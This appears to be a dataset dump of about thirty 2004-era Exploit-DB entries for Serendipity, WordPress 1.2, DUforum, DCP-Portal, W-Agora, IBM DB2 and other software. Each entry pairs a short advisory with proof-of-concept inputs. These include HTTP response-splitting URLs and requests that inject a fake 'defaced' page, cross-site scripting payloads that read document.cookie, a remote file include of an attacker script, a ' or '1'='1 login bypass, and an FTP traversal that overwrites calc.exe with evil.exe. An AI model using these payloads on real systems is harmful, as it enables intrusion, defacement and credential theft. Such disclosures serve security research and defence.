QLWD/code_shield huggingface dataset:
标题: S9Y Serendipity 0.x - 'exit.php' HTTP Response Splitting EDB-ID: 24697 CVE: 2004-1620 类型: WEBAPPS 平台: PHP 发布日期: 2004-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/11497/info

Serendipity is reported prone to an HTTP response splitting vulnerability.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

This issue is identified in Serendipity 0.7-beta4 and prior.

http://www.example.com/serendipity/exit.php?url=DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb
250ZW50LUxlbmd0aDogMA0KDQpIVFRQLzEuMCAyMDAgT0sNCkNvbnRlbnQtTGVuZ3RoOiAyMQ0KQ
29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPGh0bWw%2bKmRlZmFjZWQqPC9odG1sPg%3d%3d URL: https://www.exploit-db.com/exploits/24697
标题: Yak! Chat Client 2.x - FTP Server Directory Traversal EDB-ID: 24684 CVE: 2004-2184 类型: DOS 平台: WINDOWS 发布日期: 2004-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11433/info

Yak! Chat Client FTP server is reported prone to a remote directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

This issue can ultimately allow an attacker to compromise a computer by placing malicious files on the system and executing these files through other means.

Yak! 2.1.2 and prior versions are reported vulnerable to this issue.

dir /
dir ../../windows/

put
evil.exe
../../windows/calc.exe URL: https://www.exploit-db.com/exploits/24684
标题: 3Com 3CRADSL72 ADSL Wireless Router - Information Disclosure / Authentication Bypass EDB-ID: 24681 CVE: 2004-1596 类型: REMOTE 平台: HARDWARE 发布日期: 2004-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11408/info

3Com 3CRADSL72 is reported prone to an information disclosure, and an authentication bypass vulnerability. This issue can allow a remote attacker to disclose sensitive information such as the router name, primary and secondary DNS servers, default gateway. Attackers could also reportedly gain administrative access to the router.

If successful, these vulnerabilities can be used to the launch of other attacks against the device and other users on the vulnerable network.

http://www.example.com/app_sta.stm URL: https://www.exploit-db.com/exploits/24681
标题: CoolPHP 1.0 - Multiple Remote Input Validation Vulnerabilities EDB-ID: 24685 CVE: 2004-1601 类型: WEBAPPS 平台: PHP 发布日期: 2004-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/11437/info

Reportedly CoolPHP is affected by multiple remote input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input prior to using it to make critical actions.

An attacker can leverage these issues to steal cookie-based authentication credentials as well as carry out other malicious activities through cross-site scripting attacks. An attacker can also leverage this issue to execute arbitrary server-side scripts using file include attacks.

Cross-Site Scripting:
http://www.example.com/index.php?op=buscar&query=<script language=javascript>window.alert(document.cookie);</script>
http://www.example.com/index.php?op=buscar&query=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?op=userinfo&nick=<script language=javascript>window.alert(document.cookie);</script>

File Include:
http://www.example.com/index.php?op=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FattackerControlledDirectory/attackerScript.php URL: https://www.exploit-db.com/exploits/24685
标题: IBM DB2 DTS To String Conversion - Denial of Service EDB-ID: 24677 CVE: 2005-4869 类型: DOS 平台: LINUX 发布日期: 2004-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/11400/info

IBM DB2 is reported prone to a denial of service vulnerability when DTS to string conversion is carried out.

It is reported that during a DTS to string conversion a trap occurs if an empty formatting string is provided. The vulnerability is exposed in the 'to_char' and 'to_date' conversion functions. 

select to_char('aaa','') from sysibm.sysdummy1
select to_date('aaa', '') from sysibm.sysdummy1 URL: https://www.exploit-db.com/exploits/24677
标题: DUclassmate 1.x - 'account.asp?MM-recordId' Arbitrary Password Modification EDB-ID: 24672 CVE: 2004-2198 类型: WEBAPPS 平台: ASP 发布日期: 2004-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/11363/info
 
Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.
 
DUclassmate may allow unauthorized remote attackers to gain access to a computer.
 
DUclassified is reported prone to multiple SQL injection vulnerabilities.
 
SQL injection issues also affect DUforum.
 
DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.
 

<input type="hidden" name="MM_recordId" value="[Your ID Number]"> URL: https://www.exploit-db.com/exploits/24672
标题: DUforum 3.x - 'messages.asp?FOR_ID' SQL Injection EDB-ID: 24674 CVE: 2004-2201 类型: WEBAPPS 平台: ASP 发布日期: 2004-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/11363/info
  
Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.
  
DUclassmate may allow unauthorized remote attackers to gain access to a computer.
  
DUclassified is reported prone to multiple SQL injection vulnerabilities.
  
SQL injection issues also affect DUforum.
  
DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.

http://www.example.com/DUforum/messages.asp?FOR_ID=1;[SQL INJECT] URL: https://www.exploit-db.com/exploits/24674
标题: IBM DB2 - Universal Database Information Disclosure EDB-ID: 24678 CVE: 2005-4868 类型: LOCAL 平台: WINDOWS 发布日期: 2004-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/11402/info

An information disclosure vulnerability has been reported in IBM DB2. This vulnerability only exists when DB2 is installed on Microsoft Windows operating systems. This is due to a Windows permissions issue related to shared memory sections, culminating in authorized access to sensitive information.

This vulnerability allows local users to inappropriately connect to DB2 IPC resources, and to also read files that may contain potentially sensitive information. This may aid them in further attacks.

- Database usernames and passwords may be read from the 'DB2SHMSECURITYSERVICE' memory section.

- Various shared memory sections may be read allowing unauthorized access to query or query result data. The following examples were provided:

section read DB20QM 
section read DB2GLBQ0QM 
section read DB2SHMDB2_0APP 
section read DB2SHMDB2_0APL00000003 
section read DB2SHMDB2_0APL00000004 
section read DB2SHMDB2_0APL00000005 URL: https://www.exploit-db.com/exploits/24678
标题: DUforum 3.x - 'messageDetail.asp?MSG_ID' SQL Injection EDB-ID: 24675 CVE: 2004-2201 类型: WEBAPPS 平台: ASP 发布日期: 2004-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/11363/info
   
Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.
   
DUclassmate may allow unauthorized remote attackers to gain access to a computer.
   
DUclassified is reported prone to multiple SQL injection vulnerabilities.
   
SQL injection issues also affect DUforum.
   
DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.

http://www.example.com/DUforum/messageDetail.asp?MSG_ID=1;[SQL INJECT] URL: https://www.exploit-db.com/exploits/24675
标题: DUforum 3.x - Login Form 'Password' SQL Injection EDB-ID: 24673 CVE: 2004-2201 类型: WEBAPPS 平台: ASP 发布日期: 2004-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/11363/info
  
Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.
  
DUclassmate may allow unauthorized remote attackers to gain access to a computer.
  
DUclassified is reported prone to multiple SQL injection vulnerabilities.
  
SQL injection issues also affect DUforum.
  
DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.


user= admin
password= ' or '1'='1 URL: https://www.exploit-db.com/exploits/24673
标题: DUclassified 4.x - 'adDetail.asp' Multiple SQL Injections EDB-ID: 24671 CVE: 2004-2202 类型: WEBAPPS 平台: ASP 发布日期: 2004-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/11363/info

Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.

DUclassmate may allow unauthorized remote attackers to gain access to a computer.

DUclassified is reported prone to multiple SQL injection vulnerabilities.

SQL injection issues also affect DUforum.

DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.

http://www.example.com/DUclassified/adDetail.asp?cat_id=1;[SQL INJECT]&sub_id=1;[SQL INJECT] URL: https://www.exploit-db.com/exploits/24671
标题: Microsoft ASP.NET 1.x - URI Canonicalization Unauthorized Web Access EDB-ID: 24666 CVE: 2004-0847 类型: WEBAPPS 平台: ASP 发布日期: 2004-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/11342/info

Microsoft ASP.NET is reported prone to a remote information-disclosure vulnerability because the application fails to properly secure documents when handling malformed URI requests. 

An attacker may leverage this issue to bypass authentication required to access files in secured directories.

Mozilla Web Browser based proof of concept: 
http://www.example.com/secureDirectory\somefile.aspx 

Microsoft Internet Explorer based proof of concept: 
http://www.example.com/secureDirectory%5Csomefile.aspx URL: https://www.exploit-db.com/exploits/24666
标题: MySQL 3.x/4.x - ALTER TABLE/RENAME Forces Old Permission Checks EDB-ID: 24669 CVE: 2004-0835 类型: REMOTE 平台: LINUX 发布日期: 2004-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/11357/info

MySQL is reported prone to multiple local vulnerabilities. Exploiting these issues may allow an attacker to bypass security restrictions or cause a denial-of-service condition in the application. 

Rportedly, an attacker can bypass certain security restrictions and gain access to and corrupt potentially sensitive data due to an error in 'ALTER TABLE ... RENAME' operations. 

A denial-of-service condition occurs when multiple threads ALTER MERGE tables to change the UNION. 

Due to a lack of details, further information is not available at the moment. This BID will be updated as more information becomes available.

drop database if exists mysqltest; 
connect (root,localhost,root,,test,0,mysql-master.sock); 
connection root; 
--disable_warnings 
create database if not exists mysqltest; 
--enable_warnings 
create table mysqltest.t1 (a int,b int,c int); 
grant all on mysqltest.t1 to mysqltest_1@localhost; 
connect (user1,localhost,mysqltest_1,,mysqltest,0,mysql-master.sock); 
connection user1; 
alter table t1 rename t2; URL: https://www.exploit-db.com/exploits/24669
标题: DCP-Portal 3.7/4.x/5.x - 'announcement.php?cid' Cross-Site Scripting EDB-ID: 24661 CVE: 2004-2511 类型: WEBAPPS 平台: PHP 发布日期: 2004-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/11338/info
 
DCP-Portal is reported prone to multiple cross-site scripting vulnerabilities. It is reported that DCP-Portal does not sufficiently filter URI parameters supplied to several scripts.
 
Because of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user if the link is followed. The script code contained in the URI parameter will be executed in the context of the vulnerable website.
 
This may allow for theft of cookie-based authentication credentials and other attacks.
 
http://www.example.com/annoucement.php?aid=8&cid=[XSS code here] URL: https://www.exploit-db.com/exploits/24661
标题: DCP-Portal 3.7/4.x/5.x - 'calendar.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24659 CVE: 2004-2511 类型: WEBAPPS 平台: PHP 发布日期: 2004-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/11338/info

DCP-Portal is reported prone to multiple cross-site scripting vulnerabilities. It is reported that DCP-Portal does not sufficiently filter URI parameters supplied to several scripts.

Because of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user if the link is followed. The script code contained in the URI parameter will be executed in the context of the vulnerable website.

This may allow for theft of cookie-based authentication credentials and other attacks.

http://www.example.com/calendar.php?year=2004&month=[XSS code here]&day=01
http://www.example.com/calendar.php?year=2004&month=09&day=[XSS code here] URL: https://www.exploit-db.com/exploits/24659
标题: DCP-Portal 3.7/4.x/5.x - 'news.php?cid' Cross-Site Scripting EDB-ID: 24662 CVE: 2004-2511 类型: WEBAPPS 平台: PHP 发布日期: 2004-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/11338/info
 
DCP-Portal is reported prone to multiple cross-site scripting vulnerabilities. It is reported that DCP-Portal does not sufficiently filter URI parameters supplied to several scripts.
 
Because of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user if the link is followed. The script code contained in the URI parameter will be executed in the context of the vulnerable website.
 
This may allow for theft of cookie-based authentication credentials and other attacks.

http://www.example.com/news.php?nid=34&cid=[XSS code here] URL: https://www.exploit-db.com/exploits/24662
标题: PHP 4.x/5.0.1 - PHP_Variables Remote Memory Disclosure EDB-ID: 24656 CVE: 2004-0958 类型: REMOTE 平台: PHP 发布日期: 2004-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11334/info

A vulnerability is reported to present itself in the array parsing functions of the 'php_variables.c' PHP source file. 

The vulnerability occurs when a PHP script is being used to print URI parameters or data, that are supplied by a third party, into a dynamically generated web page. It is reported that the vulnerable function does not strip certain characters from the user supplied data, this may ultimately be harnessed to manipulate the parsing function into returning regions of process memory to the attacker.

It is reported that this issue only affects PHP versions 4.2.0 and subsequent.

$ curl "http://www.example.com/phpinfo.php" -d `perl -e 'print
"f"x100;print "[g][=1"'`

where phpinfo.php is:
<?
phpinfo();
?>

or some php file containing print_r function:
<?
print_r($_REQUEST);
?> URL: https://www.exploit-db.com/exploits/24656
标题: DCP-Portal 3.7/4.x/5.x - 'calendar.php' HTTP Response Splitting EDB-ID: 24665 CVE: 2004-2512 类型: WEBAPPS 平台: PHP 发布日期: 2004-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/11340/info

DCP-Portal is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.

POST /calendar.php?show=full_month HTTP/1.1
Host: dcp-portal
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

PHPSESSID=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScanned%20by%20PTsecurity%3c/html%3e%0d%0a&s=1&submit=1 URL: https://www.exploit-db.com/exploits/24665
标题: WordPress Core 1.2 - 'edit.php?s' Cross-Site Scripting EDB-ID: 24645 CVE: 2004-1559 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/edit.php?s=[XSS] URL: https://www.exploit-db.com/exploits/24645
标题: WordPress Core 1.2 - 'bookmarklet.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24643 CVE: 2004-1559 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/bookmarklet.php?popuptitle=[XSS]
/bookmarklet.php?popupurl=[XSS]
/bookmarklet.php?content=[XSS]
/bookmarklet.php?post_title=[XSS] URL: https://www.exploit-db.com/exploits/24643
标题: W-Agora 4.1.6 - 'a download_thread.php?thread' Cross-Site Scripting EDB-ID: 24650 CVE: 2004-1563 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11283/info
 
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
 
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

download_thread.php?site=support&bn=support_install&thread=[XSS code here] URL: https://www.exploit-db.com/exploits/24650
标题: WordPress Core 1.2 - 'wp-login.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24641 CVE: 2004-1559 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/11268/info

It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input. 

Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/wp-login.php?redirect_to=[XSS]
/wp-login.php?mode=bookmarklet&text=[XSS]
/wp-login.php?mode=bookmarklet&popupurl=[XSS]
/wp-login.php?mode=bookmarklet&popuptitle=[XSS] URL: https://www.exploit-db.com/exploits/24641
标题: W-Agora 4.1.6 - 'a redir_url.php?key' SQL Injection EDB-ID: 24648 CVE: 2004-1562 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11283/info

Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.

These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

redir_url.php?bn=demos_links&key=[SQL] URL: https://www.exploit-db.com/exploits/24648
标题: WordPress Core 1.2 - 'admin-header.php?redirect_url' Cross-Site Scripting EDB-ID: 24642 CVE: 2004-1559 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/admin-header.php?redirect=1&redirect_url=%22;alert(document.cookie)// URL: https://www.exploit-db.com/exploits/24642
标题: W-Agora 4.1.6 - 'a forgot_password.php?userid' Cross-Site Scripting EDB-ID: 24649 CVE: 2004-1563 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11283/info
 
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
 
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

POST /forgot_password.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
go=1&userid=[XSS code here] URL: https://www.exploit-db.com/exploits/24649
标题: WordPress Core 1.2 - 'categories.php?cat_ID' Cross-Site Scripting EDB-ID: 24644 CVE: 2004-1559 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/categories.php?action=edit&cat_ID=[XSS] URL: https://www.exploit-db.com/exploits/24644
标题: W-Agora 4.1.6a - 'login.php?loginuser' Cross-Site Scripting EDB-ID: 24652 CVE: 2004-1563 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11283/info
  
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
  
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

POST /login.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
loginform=1&redirect_url=1&loginuser=[XSS code here]&loginpassword=1 URL: https://www.exploit-db.com/exploits/24652
标题: W-Agora 4.1.6a - 'subscribe_thread.php' HTTP Response Splitting EDB-ID: 24651 CVE: 2004-1564 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11283/info
  
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
  
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

/subscribe_thread.php?site=support&bn=support_in URL: https://www.exploit-db.com/exploits/24651
标题: WordPress Core 1.2 - 'edit-comments.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24646 CVE: 2004-1559 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/edit-comments.php?s=[XSS]
/edit-comments.php?mode=[XSS] URL: https://www.exploit-db.com/exploits/24646